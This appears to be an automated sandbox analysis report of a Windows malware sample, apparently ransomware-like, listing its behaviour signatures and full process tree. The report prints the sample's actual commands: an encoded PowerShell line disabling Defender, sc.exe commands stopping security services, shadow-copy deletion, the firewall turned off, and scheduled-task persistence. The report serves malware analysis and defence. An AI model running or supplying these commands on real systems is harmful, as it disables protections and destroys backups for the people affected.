Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    07/09/2026, 08:36

General

  • Target
    xoilacda.com_hyber.exe
  • Size 49KB
  • Sample260907-khlcmasfpb
  • SHA256 bfcc91a18142476d3d3692785746ed53def831a1856ced3c564f4d3aff7e8aa0
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 4 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe 10 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 39 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\xoilacda.com_hyber.exe
    "C:\Users\Admin\AppData\Local\Temp\xoilacda.com_hyber.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4432
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1440
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2528
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:5752
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:5064
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:6136
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:1640
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:1104
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:1728
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4212
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1932
      • C:\Users\Admin\AppData\Local\Temp\xoilacda.com_hyber.exe
        "C:\Users\Admin\AppData\Local\Temp\xoilacda.com_hyber.exe"
        3⤵
          PID:2212
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:2004
      • C:\Windows\SYSTEM32\schtasks.exe
        "schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacda.com_hyber.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5808
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2128
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:5576
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2392
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:3580
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:4336
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5944
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          • Suspicious use of AdjustPrivilegeToken
          PID:5964
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5560
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:3016
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:700
        • C:\Windows\system32\net.exe
          net user
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2960
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 user
            4⤵
              PID:4316
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5708
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:4776
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:652
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            PID:4084
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\xoilacda.com_hyber.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1356
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:5872
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:6020
          • C:\Windows\System32\vssadmin.exe
            "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
            2⤵
            • Interacts with shadow copies
            PID:5108
          • C:\Windows\System32\wbem\WMIC.exe
            "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:6132
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2244
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:2876
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:5980
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:3936
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:1744
          • C:\Windows\system32\LogonUI.exe
            "LogonUI.exe" /flags:0x0 /state0:0xa3a1f855 /state1:0x41c64e6d
            1⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Checks processor information in registry
            • Modifies data under HKEY_USERS
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            PID:936
          • C:\Windows\System32\svchost.exe
            C:\Windows\System32\svchost.exe -k CameraMonitor
            1⤵
              PID:4752
            • C:\Users\Admin\AppData\Local\Temp\xoilacda.com_hyber.exe
              C:\Users\Admin\AppData\Local\Temp\xoilacda.com_hyber.exe
              1⤵
                PID:5776
              • C:\Windows\system32\wbem\wmiprvse.exe
                C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                1⤵
                  PID:2528
                  • C:\Users\Admin\AppData\Local\Temp\xoilacda.com_hyber.exe
                    C:\Users\Admin\AppData\Local\Temp\xoilacda.com_hyber.exe
                    2⤵
                      PID:5244
                  • C:\Windows\system32\vssvc.exe
                    C:\Windows\system32\vssvc.exe
                    1⤵
                      PID:268
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k GPSvcGroup
                      1⤵
                        PID:4292

                      Network

                            MITRE ATT&CK Enterprise v16

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                            Downloads

                            invoice_1.pdf

                            • Path C:\ProgramData\invoice_1.pdf
                            • Size 66KB
                            • SHA256 36ab56c731a4e81972b99a53035349e5b166359e43c1e1d4e6de50dc4ca316a5
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            doc_3.pdf

                            • Path C:\SystemVolumeInformation\doc_3.pdf
                            • Size 66KB
                            • SHA256 5c15d4aaeb2431ceb5b0e8fbb403d4a04b93230f256f00f2d5489ee36ff3c67b
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            createshortcut.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                            • Size 243B
                            • SHA256 b2021301caccc7186dd59b182b4a27f475996b1655a5d4f9516cae39a45b32e2
                            • MD5 SHA1 SHA512 TLSH

                            del.bat

                            • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                            • Size 59B
                            • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                            • MD5 SHA1 SHA512 TLSH

                            makelnk.vbs

                            • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                            • Size 244B
                            • SHA256 59e7b225370be9abe7fb4ac408040e5ae0aad95e011c0edb318268c61a031d56
                            • MD5 SHA1 SHA512 TLSH

                            memory/936-2246-0x00000193F4380000-0x00000193F43CD000-memory.dmp

                            memory/1440-1161-0x00000188F1970000-0x00000188F1A22000-memory.dmp

                            memory/1440-18-0x00000188F15E0000-0x00000188F1602000-memory.dmp

                            memory/1440-1616-0x00000188F15B0000-0x00000188F15BA000-memory.dmp

                            memory/1440-1130-0x00000188F1950000-0x00000188F196E000-memory.dmp

                            memory/4432-7-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-3-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-14-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-12-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-8-0x000000001E2D0000-0x000000001E492000-memory.dmp

                            memory/4432-15-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-0-0x00007FFA7686F000-0x00007FFA76870000-memory.dmp

                            memory/4432-11-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-9-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-10-0x000000001E9D0000-0x000000001EEF8000-memory.dmp

                            memory/4432-4-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-13-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-2260-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-2-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-1-0x0000000000BC0000-0x0000000000BD2000-memory.dmp

                            memory/4432-2249-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-2252-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-2251-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-2253-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-2255-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-2256-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-2257-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/4432-2258-0x00007FFA766E0000-0x00007FFA77084000-memory.dmp

                            memory/6020-2242-0x0000020989D40000-0x0000020989D41000-memory.dmp